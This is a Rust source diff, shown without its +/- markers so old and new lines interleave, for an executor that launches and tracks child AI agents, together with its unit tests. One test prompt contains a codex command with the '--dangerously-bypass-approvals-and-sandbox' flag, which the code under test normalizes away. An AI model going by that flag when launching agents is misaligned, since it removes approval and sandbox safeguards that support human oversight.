p.child_conversation_id.is_none() && parent_id == Some(p.parent_conversation_id)
|
||||
}) {
|
||||
pending.child_conversation_id = Some(*new_conversation_id);
|
||||
}
|
||||
}
|
||||
BlocklistAIHistoryEvent::ConversationServerTokenAssigned {
|
||||
conversation_id, ..
|
||||
} => {
|
||||
let Some(idx) = self
|
||||
.pending
|
||||
.iter()
|
||||
.position(|p| p.child_conversation_id.as_ref() == Some(conversation_id))
|
||||
else {
|
||||
let Some(request_id) = self.find_pending_by_child(conversation_id) else {
|
||||
return;
|
||||
};
|
||||
// Don't remove yet if we're waiting for completion — we need
|
||||
// the entry to stay so UpdatedConversationStatus can find it.
|
||||
if self.pending[idx].wait_for_completion {
|
||||
// Just log and continue — we'll resolve on Success status.
|
||||
let conversation =
|
||||
BlocklistAIHistoryModel::as_ref(ctx).conversation(conversation_id);
|
||||
let agent_id = conversation
|
||||
.and_then(|c| c.orchestration_agent_id())
|
||||
.or_else(|| {
|
||||
conversation.and_then(|c| {
|
||||
c.server_conversation_token()
|
||||
.map(|t| t.as_str().to_string())
|
||||
})
|
||||
})
|
||||
.unwrap_or_else(|| conversation_id.to_string());
|
||||
log::info!(
|
||||
"[start_agent] Child agent started: conversation_id={:?}, agent_id={}",
|
||||
conversation_id,
|
||||
agent_id
|
||||
);
|
||||
log::info!(
|
||||
"[start_agent] Local mode: waiting for child {:?} to complete",
|
||||
conversation_id
|
||||
);
|
||||
return;
|
||||
}
|
||||
let pending = self.pending.remove(idx);
|
||||
let conversation =
|
||||
BlocklistAIHistoryModel::as_ref(ctx).conversation(conversation_id);
|
||||
// orchestration_agent_id() uses run_id in v2 mode, which won't
|
||||
// exist for locally-spawned Bedrock child agents. Fall back to
|
||||
// the server conversation token (set by the stream Init event)
|
||||
// or the conversation ID itself as the agent identifier.
|
||||
let agent_id = conversation
|
||||
.and_then(|c| c.orchestration_agent_id())
|
||||
.or_else(|| {
|
||||
conversation.and_then(|c| {
|
||||
c.server_conversation_token()
|
||||
.map(|t| t.as_str().to_string())
|
||||
})
|
||||
})
|
||||
.unwrap_or_else(|| conversation_id.to_string());
|
||||
|
||||
log::info!(
|
||||
"[start_agent] Child agent started: conversation_id={:?}, agent_id={}",
|
||||
conversation_id,
|
||||
agent_id
|
||||
);
|
||||
|
||||
// Only register with the orchestration streamer if the parent
|
||||
// has a run_id (server-assigned). Local Bedrock child agents
|
||||
// don't have server-side orchestration — attempting to open an
|
||||
// SSE stream to a non-existent server freezes the app.
|
||||
let parent_has_run_id = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&pending.parent_conversation_id)
|
||||
.and_then(|c| c.run_id())
|
||||
.is_some();
|
||||
|
||||
if pending.wait_for_completion {
|
||||
// Local mode: don't resolve yet — wait for the child to
|
||||
// finish (UpdatedConversationStatus → Success) so we can
|
||||
// return its output as the tool result.
|
||||
log::info!(
|
||||
"[start_agent] Local mode: waiting for child {:?} to complete",
|
||||
conversation_id
|
||||
);
|
||||
} else {
|
||||
let _ = pending.sender.try_send(StartAgentDecision::Started {
|
||||
agent_id: agent_id.clone(),
|
||||
});
|
||||
if parent_has_run_id {
|
||||
if FeatureFlag::OrchestrationV2.is_enabled() {
|
||||
OrchestrationEventStreamer::handle(ctx).update(ctx, |streamer, ctx| {
|
||||
streamer.register_watched_run_id(
|
||||
pending.parent_conversation_id,
|
||||
agent_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
} else {
|
||||
OrchestrationEventService::handle(ctx).update(ctx, |svc, ctx| {
|
||||
svc.emit_child_startup_started(*conversation_id, ctx);
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
self.complete_pending_as_started(request_id, *conversation_id, ctx);
|
||||
}
|
||||
BlocklistAIHistoryEvent::UpdatedConversationStatus {
|
||||
conversation_id, ..
|
||||
} => {
|
||||
let Some(idx) = self
|
||||
.pending
|
||||
.iter()
|
||||
.position(|p| p.child_conversation_id.as_ref() == Some(conversation_id))
|
||||
else {
|
||||
let Some(request_id) = self.find_pending_by_child(conversation_id) else {
|
||||
return;
|
||||
};
|
||||
let history = BlocklistAIHistoryModel::as_ref(ctx);
|
||||
let Some(conversation) = history.conversation(conversation_id) else {
|
||||
return;
|
||||
};
|
||||
|
||||
match conversation.status() {
|
||||
ConversationStatus::Success => {
|
||||
if !self.pending[idx].wait_for_completion {
|
||||
// Non-blocking mode — already resolved on token assignment.
|
||||
return;
|
||||
}
|
||||
let pending = self.pending.remove(idx);
|
||||
// Extract the child's text output from its last exchange.
|
||||
let output = extract_child_output(conversation);
|
||||
log::info!(
|
||||
"[start_agent] Child agent {:?} completed with {} chars of output",
|
||||
conversation_id,
|
||||
output.len()
|
||||
);
|
||||
let agent_id = conversation
|
||||
.orchestration_agent_id()
|
||||
.or_else(|| {
|
||||
conversation
|
||||
.server_conversation_token()
|
||||
.map(|t| t.as_str().to_string())
|
||||
})
|
||||
.unwrap_or_else(|| conversation_id.to_string());
|
||||
let _ = pending
|
||||
.sender
|
||||
.try_send(StartAgentDecision::Completed { agent_id, output });
|
||||
}
|
||||
status => {
|
||||
let error_msg = start_agent_error_message_for_status(
|
||||
status,
|
||||
conversation.status_error_message(),
|
||||
);
|
||||
if let Some(error_msg) = error_msg {
|
||||
let pending = self.pending.remove(idx);
|
||||
let _ = pending
|
||||
.sender
|
||||
.try_send(StartAgentDecision::Error(error_msg.clone()));
|
||||
if !FeatureFlag::OrchestrationV2.is_enabled() {
|
||||
OrchestrationEventService::handle(ctx).update(ctx, |svc, ctx| {
|
||||
svc.emit_child_startup_errored(
|
||||
*conversation_id,
|
||||
"conversation_status".to_string(),
|
||||
error_msg,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
let error_msg = start_agent_error_message_for_status(
|
||||
conversation.status(),
|
||||
conversation.status_error_message().as_deref(),
|
||||
);
|
||||
if let Some(error_msg) = error_msg {
|
||||
self.complete_pending_as_error(request_id, *conversation_id, error_msg, ctx);
|
||||
}
|
||||
}
|
||||
BlocklistAIHistoryEvent::CreatedSubtask { .. }
|
||||
BlocklistAIHistoryEvent::NewConversationRequestComplete {
|
||||
request_id,
|
||||
conversation_id,
|
||||
} => {
|
||||
self.record_child_conversation(*request_id, *conversation_id, ctx);
|
||||
}
|
||||
BlocklistAIHistoryEvent::StartedNewConversation { .. }
|
||||
| BlocklistAIHistoryEvent::CreatedSubtask { .. }
|
||||
| BlocklistAIHistoryEvent::UpgradedTask { .. }
|
||||
| BlocklistAIHistoryEvent::AppendedExchange { .. }
|
||||
| BlocklistAIHistoryEvent::ReassignedExchange { .. }
|
||||
| BlocklistAIHistoryEvent::UpdatedStreamingExchange { .. }
|
||||
| BlocklistAIHistoryEvent::SetActiveConversation { .. }
|
||||
| BlocklistAIHistoryEvent::ClearedActiveConversation { .. }
|
||||
| BlocklistAIHistoryEvent::ClearedConversationsInTerminalView { .. }
|
||||
| BlocklistAIHistoryEvent::ClearedConversationsForTerminalSurface { .. }
|
||||
| BlocklistAIHistoryEvent::UpdatedTodoList { .. }
|
||||
| BlocklistAIHistoryEvent::UpdatedAutoexecuteOverride { .. }
|
||||
| BlocklistAIHistoryEvent::SplitConversation { .. }
|
||||
| BlocklistAIHistoryEvent::RemoveConversation { .. }
|
||||
| BlocklistAIHistoryEvent::DeletedConversation { .. }
|
||||
| BlocklistAIHistoryEvent::RestoredConversations { .. }
|
||||
| BlocklistAIHistoryEvent::UpdatedConversationTitle { .. }
|
||||
| BlocklistAIHistoryEvent::UpdatedConversationMetadata { .. }
|
||||
| BlocklistAIHistoryEvent::UpdatedConversationArtifacts { .. } => {}
|
||||
| BlocklistAIHistoryEvent::UpdatedConversationArtifacts { .. }
|
||||
| BlocklistAIHistoryEvent::ConversationTransferredBetweenTerminalSurfaces { .. } => {}
|
||||
BlocklistAIHistoryEvent::OrchestrationConfigUpdated { .. }
|
||||
| BlocklistAIHistoryEvent::ConversationUsageMetadataUpdated { .. }
|
||||
| BlocklistAIHistoryEvent::LocalSharedSessionEstablished { .. } => {}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -311,21 +339,48 @@ impl StartAgentExecutor {
|
||||
let prompt = prompt.clone();
|
||||
let version = *version;
|
||||
let parent_conversation_id = input.conversation_id;
|
||||
let (execution_mode, parent_run_id) = match execution_mode.clone() {
|
||||
StartAgentExecutionMode::Local { harness_type: None } => {
|
||||
// Legacy local Oz child agents do not use
|
||||
// StartAgentRequest.parent_run_id. Instead, the child
|
||||
// conversation is linked back to its parent on the first
|
||||
// request via Request.metadata.parent_agent_id, sourced
|
||||
// from the conversation's versioned orchestration_agent_id()
|
||||
// (run_id in v2, server conversation token in v1). Remote
|
||||
// child agents and local third-party harness children need
|
||||
// parent_run_id here because their run is spawned before that
|
||||
// first child request exists.
|
||||
(StartAgentExecutionMode::Local { harness_type: None }, None)
|
||||
let (prompt, execution_mode) =
|
||||
normalize_legacy_local_child_harness_command(prompt, execution_mode.clone());
|
||||
let (execution_mode, parent_run_id) = match execution_mode {
|
||||
StartAgentExecutionMode::Local {
|
||||
harness_type: None,
|
||||
model_id,
|
||||
} => {
|
||||
// Oz local children resolve their parent's run id from the
|
||||
// parent conversation. This mirrors the third-party-harness
|
||||
// and remote-child branches below; the child task row is
|
||||
// created eagerly at dispatch (see
|
||||
// `launch_local_no_harness_child`) using this value as the
|
||||
// `parent_run_id` on `CreateAgentTask`. Bail out if the
|
||||
// parent has no `run_id` yet — the eager-create path has no
|
||||
// late-binding fallback (the pre-change lazy path would have
|
||||
// linked via `Request.metadata.parent_agent_id` later), so
|
||||
// proceeding would mint an orphan child with no server-side
|
||||
// parent linkage.
|
||||
let parent_run_id = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&parent_conversation_id)
|
||||
.and_then(|conversation| conversation.run_id());
|
||||
let Some(parent_run_id) = parent_run_id else {
|
||||
return ActionExecution::Sync(AIAgentActionResultType::StartAgent(
|
||||
StartAgentResult::Error {
|
||||
error:
|
||||
"Local Oz child agents require the parent run_id to be available."
|
||||
.to_string(),
|
||||
version,
|
||||
},
|
||||
));
|
||||
};
|
||||
(
|
||||
StartAgentExecutionMode::Local {
|
||||
harness_type: None,
|
||||
model_id,
|
||||
},
|
||||
Some(parent_run_id),
|
||||
)
|
||||
}
|
||||
StartAgentExecutionMode::Local {
|
||||
harness_type: Some(harness_type),
|
||||
model_id,
|
||||
} => {
|
||||
let Some(harness) = Harness::parse_local_child_harness(&harness_type) else {
|
||||
return ActionExecution::Sync(AIAgentActionResultType::StartAgent(
|
||||
@@ -335,12 +390,10 @@ impl StartAgentExecutor {
|
||||
},
|
||||
));
|
||||
};
|
||||
|
||||
if !FeatureFlag::OrchestrationV2.is_enabled() {
|
||||
if let Some(message) = local_harness_product_disabled_message(harness) {
|
||||
return ActionExecution::Sync(AIAgentActionResultType::StartAgent(
|
||||
StartAgentResult::Error {
|
||||
error: "Local harness child agents require orchestration v2."
|
||||
.to_string(),
|
||||
error: message.to_string(),
|
||||
version,
|
||||
},
|
||||
));
|
||||
@@ -363,6 +416,7 @@ impl StartAgentExecutor {
|
||||
(
|
||||
StartAgentExecutionMode::Local {
|
||||
harness_type: Some(harness.to_string()),
|
||||
model_id,
|
||||
},
|
||||
Some(parent_run_id),
|
||||
)
|
||||
@@ -375,16 +429,8 @@ impl StartAgentExecutor {
|
||||
worker_host,
|
||||
harness_type,
|
||||
title,
|
||||
auth_secret_name,
|
||||
} => {
|
||||
if !FeatureFlag::OrchestrationV2.is_enabled() {
|
||||
return ActionExecution::Sync(AIAgentActionResultType::StartAgent(
|
||||
StartAgentResult::Error {
|
||||
error: "Remote child agents require orchestration v2.".to_string(),
|
||||
version,
|
||||
},
|
||||
));
|
||||
}
|
||||
|
||||
let harness_type = Harness::parse_orchestration_harness(&harness_type)
|
||||
.map(|harness| harness.to_string())
|
||||
.unwrap_or(harness_type);
|
||||
@@ -408,7 +454,6 @@ impl StartAgentExecutor {
|
||||
with an empty environment."
|
||||
);
|
||||
}
|
||||
|
||||
let parent_run_id = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&parent_conversation_id)
|
||||
.and_then(|conversation| conversation.run_id());
|
||||
@@ -431,6 +476,7 @@ impl StartAgentExecutor {
|
||||
worker_host,
|
||||
harness_type,
|
||||
title,
|
||||
auth_secret_name,
|
||||
},
|
||||
Some(parent_run_id),
|
||||
)
|
||||
@@ -442,40 +488,37 @@ impl StartAgentExecutor {
|
||||
let wait_for_completion = parent_run_id.is_none();
|
||||
|
||||
let (sender, receiver) = async_channel::bounded(1);
|
||||
self.pending.push(PendingStartAgent {
|
||||
parent_conversation_id,
|
||||
child_conversation_id: None,
|
||||
sender,
|
||||
wait_for_completion,
|
||||
});
|
||||
let request_id = self.next_request_id();
|
||||
self.pending.insert(
|
||||
request_id,
|
||||
PendingStartAgent {
|
||||
parent_conversation_id,
|
||||
child_conversation_id: None,
|
||||
sender,
|
||||
},
|
||||
);
|
||||
|
||||
ctx.emit(StartAgentExecutorEvent::CreateAgent(StartAgentRequest {
|
||||
name: name.clone(),
|
||||
prompt,
|
||||
execution_mode,
|
||||
lifecycle_subscription: lifecycle_subscription.clone(),
|
||||
parent_conversation_id,
|
||||
parent_run_id,
|
||||
}));
|
||||
ctx.emit(StartAgentExecutorEvent::CreateAgent(Box::new(
|
||||
StartAgentRequest {
|
||||
id: request_id,
|
||||
name: name.clone(),
|
||||
prompt,
|
||||
execution_mode,
|
||||
lifecycle_subscription: lifecycle_subscription.clone(),
|
||||
parent_conversation_id,
|
||||
parent_run_id,
|
||||
},
|
||||
)));
|
||||
|
||||
ActionExecution::new_async(async move { receiver.recv().await }, move |result, _ctx| {
|
||||
match result {
|
||||
Ok(StartAgentDecision::Started { agent_id }) => {
|
||||
Ok(StartAgentOutcome::Started { agent_id }) => {
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Success {
|
||||
agent_id,
|
||||
version,
|
||||
})
|
||||
}
|
||||
Ok(StartAgentDecision::Completed { agent_id, output }) => {
|
||||
// Return the child's output as a "success" with the output
|
||||
// embedded in the agent_id field. The Display impl on
|
||||
// StartAgentResult will show this to the model.
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Success {
|
||||
agent_id: format!("{agent_id}\n\nAgent output:\n{output}"),
|
||||
version,
|
||||
})
|
||||
}
|
||||
Ok(StartAgentDecision::Error(error)) => {
|
||||
Ok(StartAgentOutcome::Error(error)) => {
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, version })
|
||||
}
|
||||
Err(_) => {
|
||||
@@ -485,6 +528,45 @@ impl StartAgentExecutor {
|
||||
})
|
||||
}
|
||||
|
||||
/// Dispatch a pre-validated StartAgent request. Returns a receiver
|
||||
/// for the resulting [`StartAgentOutcome`].
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
pub fn dispatch(
|
||||
&mut self,
|
||||
name: String,
|
||||
prompt: String,
|
||||
execution_mode: StartAgentExecutionMode,
|
||||
lifecycle_subscription: Option<Vec<LifecycleEventType>>,
|
||||
parent_conversation_id: AIConversationId,
|
||||
parent_run_id: Option<String>,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) -> async_channel::Receiver<StartAgentOutcome> {
|
||||
let (prompt, execution_mode) =
|
||||
normalize_legacy_local_child_harness_command(prompt, execution_mode);
|
||||
let (sender, receiver) = async_channel::bounded(1);
|
||||
let request_id = self.next_request_id();
|
||||
self.pending.insert(
|
||||
request_id,
|
||||
PendingStartAgent {
|
||||
parent_conversation_id,
|
||||
child_conversation_id: None,
|
||||
sender,
|
||||
},
|
||||
);
|
||||
ctx.emit(StartAgentExecutorEvent::CreateAgent(Box::new(
|
||||
StartAgentRequest {
|
||||
id: request_id,
|
||||
name,
|
||||
prompt,
|
||||
execution_mode,
|
||||
lifecycle_subscription,
|
||||
parent_conversation_id,
|
||||
parent_run_id,
|
||||
},
|
||||
)));
|
||||
receiver
|
||||
}
|
||||
|
||||
pub(super) fn preprocess_action(
|
||||
&mut self,
|
||||
_action: PreprocessActionInput,
|
||||
@@ -494,22 +576,19 @@ impl StartAgentExecutor {
|
||||
}
|
||||
}
|
||||
|
||||
/// Extracts the text output from a child agent's conversation.
|
||||
/// Collects text from all exchanges in the conversation.
|
||||
fn extract_child_output(conversation: &AIConversation) -> String {
|
||||
let mut output_parts = Vec::new();
|
||||
for exchange in conversation.all_exchanges() {
|
||||
if let Some(output) = exchange.output_status.output() {
|
||||
let text = output.get().format_for_copy(None);
|
||||
if !text.is_empty() {
|
||||
output_parts.push(text);
|
||||
}
|
||||
}
|
||||
}
|
||||
if output_parts.is_empty() {
|
||||
"Agent completed but produced no text output.".to_string()
|
||||
} else {
|
||||
output_parts.join("\n\n")
|
||||
/// Whether a child that failed before launch should have its hidden pane and
|
||||
/// conversation cleaned up. Only terminal launch failures qualify; recoverable
|
||||
/// `Blocked` startup states (e.g. awaiting GitHub auth) and non-terminal
|
||||
/// `TransientError` (a recovery is in flight) keep their chip so the user can
|
||||
/// resolve them or let the retry complete.
|
||||
fn should_cleanup_failed_child_launch(status: &ConversationStatus) -> bool {
|
||||
match status {
|
||||
ConversationStatus::Error | ConversationStatus::Cancelled => true,
|
||||
ConversationStatus::Blocked { .. }
|
||||
| ConversationStatus::InProgress
|
||||
| ConversationStatus::TransientError
|
||||
| ConversationStatus::Success
|
||||
| ConversationStatus::WaitingForEvents => false,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -535,7 +614,16 @@ fn start_agent_error_message_for_status(
|
||||
blocked_action.to_string()
|
||||
})
|
||||
}
|
||||
ConversationStatus::InProgress | ConversationStatus::Success => None,
|
||||
// `WaitingForEvents` is treated like `InProgress`/`Success` here:
|
||||
// a child that's actively waiting for events has, by definition,
|
||||
// already initialized successfully and is not an error case.
|
||||
// TransientError is likewise non-terminal: a recovery is in flight,
|
||||
// so keep waiting. The agent run is still in flight in all of these
|
||||
// cases, so we don't surface an error message for the start path.
|
||||
ConversationStatus::InProgress
|
||||
| ConversationStatus::TransientError
|
||||
| ConversationStatus::Success
|
||||
| ConversationStatus::WaitingForEvents => None,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -544,7 +632,13 @@ impl Entity for StartAgentExecutor {
|
||||
}
|
||||
|
||||
pub enum StartAgentExecutorEvent {
|
||||
CreateAgent(StartAgentRequest),
|
||||
CreateAgent(Box<StartAgentRequest>),
|
||||
/// A child agent failed at the launch stage (never started a server-side
|
||||
/// run). The owning terminal view removes its hidden pane and conversation
|
||||
/// so the orchestration pill bar does not retain a dead chip.
|
||||
CleanupFailedChildLaunch {
|
||||
conversation_id: AIConversationId,
|
||||
},
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
|
||||
@@ -1,24 +1,45 @@
|
||||
use ai::agent::action_result::StartAgentVersion;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use warpui::{App, Entity, EntityId, ModelHandle};
|
||||
|
||||
use super::*;
|
||||
use crate::ai::agent::conversation::ConversationStatus;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType,
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType, RenderableAIError,
|
||||
StartAgentExecutionMode, StartAgentResult,
|
||||
};
|
||||
use crate::ai::blocklist::orchestration_event_streamer::OrchestrationEventStreamer;
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
use ai::agent::action_result::StartAgentVersion;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxyui::{App, EntityId};
|
||||
use crate::server::server_api::ServerApiProvider;
|
||||
use crate::test_util::settings::initialize_history_persistence_for_tests;
|
||||
|
||||
const FIRST_REQUEST_ID: StartAgentRequestId = StartAgentRequestId::from_raw_for_test(0);
|
||||
|
||||
/// Stable placeholder run_id assigned to the parent conversation in tests
|
||||
/// that dispatch an Oz local child. The Oz `Local` arm of
|
||||
/// `StartAgentExecutor::execute` bails out synchronously if the parent has
|
||||
/// no `run_id`, so every `local_with_defaults` test needs to assign one.
|
||||
const PARENT_RUN_ID: &str = "00000000-0000-0000-0000-000000000001";
|
||||
|
||||
fn build_start_agent_action(
|
||||
version: StartAgentVersion,
|
||||
execution_mode: StartAgentExecutionMode,
|
||||
) -> AIAgentAction {
|
||||
build_start_agent_action_with_prompt(version, execution_mode, "Investigate the failure")
|
||||
}
|
||||
|
||||
fn build_start_agent_action_with_prompt(
|
||||
version: StartAgentVersion,
|
||||
execution_mode: StartAgentExecutionMode,
|
||||
prompt: &str,
|
||||
) -> AIAgentAction {
|
||||
AIAgentAction {
|
||||
id: AIAgentActionId::from("start-agent-action".to_string()),
|
||||
action: AIAgentActionType::StartAgent {
|
||||
version,
|
||||
name: "Agent 1".to_string(),
|
||||
prompt: "Investigate the failure".to_string(),
|
||||
prompt: prompt.to_string(),
|
||||
execution_mode,
|
||||
lifecycle_subscription: None,
|
||||
},
|
||||
@@ -28,14 +49,76 @@ fn build_start_agent_action(
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_error_when_child_startup_is_blocked_before_initialization() {
|
||||
fn legacy_local_codex_command_prompt_normalizes_to_local_harness() {
|
||||
let (prompt, execution_mode) = normalize_legacy_local_child_harness_command(
|
||||
"codex --dangerously-bypass-approvals-and-sandbox 'Investigate the failure'".to_string(),
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
);
|
||||
|
||||
assert_eq!(prompt, "Investigate the failure");
|
||||
assert_eq!(
|
||||
execution_mode,
|
||||
StartAgentExecutionMode::local_harness("codex".to_string())
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_normalizes_legacy_local_codex_command_before_validation() {
|
||||
App::test((), |mut app| async move {
|
||||
let _orchestration_v2 = FeatureFlag::OrchestrationV2.override_enabled(true);
|
||||
let _local_codex = FeatureFlag::LocalClaudeCodexChildHarnesses.override_enabled(true);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let action = build_start_agent_action_with_prompt(
|
||||
StartAgentVersion::V1,
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
"codex --dangerously-bypass-approvals-and-sandbox 'Investigate the failure'",
|
||||
);
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: parent_conversation_id,
|
||||
};
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(result) = execution else {
|
||||
panic!("expected sync execution");
|
||||
};
|
||||
|
||||
assert!(matches!(
|
||||
result,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, version })
|
||||
if error
|
||||
== "Local harness child agents require the parent run_id to be available."
|
||||
&& version == StartAgentVersion::V1
|
||||
));
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_error_when_child_startup_is_blocked_before_initialization() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_history_persistence_for_tests(&mut app);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
parent_conversation_id,
|
||||
PARENT_RUN_ID.to_string(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V1,
|
||||
@@ -64,16 +147,25 @@ fn execute_returns_error_when_child_startup_is_blocked_before_initialization() {
|
||||
terminal_view_id,
|
||||
"Agent 1".to_string(),
|
||||
parent_conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.record_new_conversation_request_complete(
|
||||
FIRST_REQUEST_ID,
|
||||
child_conversation_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
executor.read(&app, |executor, _| {
|
||||
assert_eq!(
|
||||
executor
|
||||
.pending
|
||||
.first()
|
||||
.and_then(|pending| pending.child_conversation_id),
|
||||
.values()
|
||||
.find_map(|pending| pending.child_conversation_id),
|
||||
Some(child_conversation_id)
|
||||
);
|
||||
});
|
||||
@@ -108,14 +200,23 @@ fn execute_returns_error_when_child_startup_is_blocked_before_initialization() {
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_detailed_error_when_child_startup_fails_before_initialization() {
|
||||
fn execute_resolves_error_when_request_linkage_happens_after_child_already_failed() {
|
||||
App::test((), |mut app| async move {
|
||||
let _orchestration_v2 = FeatureFlag::OrchestrationV2.override_enabled(true);
|
||||
initialize_history_persistence_for_tests(&mut app);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
parent_conversation_id,
|
||||
PARENT_RUN_ID.to_string(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V1,
|
||||
@@ -144,16 +245,203 @@ fn execute_returns_detailed_error_when_child_startup_fails_before_initialization
|
||||
terminal_view_id,
|
||||
"Agent 1".to_string(),
|
||||
parent_conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.update_conversation_status_with_error_message(
|
||||
history_model.update_conversation_status_with_error(
|
||||
terminal_view_id,
|
||||
child_conversation_id,
|
||||
ConversationStatus::Error,
|
||||
Some("Failed to resolve child agent skills: review-comments".to_string()),
|
||||
Some(RenderableAIError::other(
|
||||
"'codex' CLI not found on your machine.",
|
||||
false,
|
||||
)),
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.record_new_conversation_request_complete(
|
||||
FIRST_REQUEST_ID,
|
||||
child_conversation_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
let async_result = execute_future.await;
|
||||
let result = app.update(|ctx| on_complete(async_result, ctx));
|
||||
assert!(matches!(
|
||||
result,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, version })
|
||||
if error == "'codex' CLI not found on your machine."
|
||||
&& version == StartAgentVersion::V1
|
||||
));
|
||||
|
||||
executor.read(&app, |executor, _| {
|
||||
assert!(executor.pending.is_empty());
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_resolves_success_when_request_linkage_happens_after_child_already_started() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_history_persistence_for_tests(&mut app);
|
||||
let terminal_view_id = EntityId::new();
|
||||
app.add_singleton_model(|_| ServerApiProvider::new_for_test());
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
app.add_singleton_model(OrchestrationEventStreamer::new);
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
parent_conversation_id,
|
||||
PARENT_RUN_ID.to_string(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V1,
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
);
|
||||
|
||||
let execution = executor.update(&mut app, |executor, ctx| {
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: parent_conversation_id,
|
||||
};
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
result
|
||||
});
|
||||
|
||||
let AnyActionExecution::Async {
|
||||
execute_future,
|
||||
on_complete,
|
||||
} = execution
|
||||
else {
|
||||
panic!("expected async execution");
|
||||
};
|
||||
|
||||
let child_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_child_conversation(
|
||||
terminal_view_id,
|
||||
"Agent 1".to_string(),
|
||||
parent_conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
let run_id = uuid::Uuid::new_v4().to_string();
|
||||
|
||||
history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.assign_run_id_for_conversation(
|
||||
child_conversation_id,
|
||||
run_id.clone(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
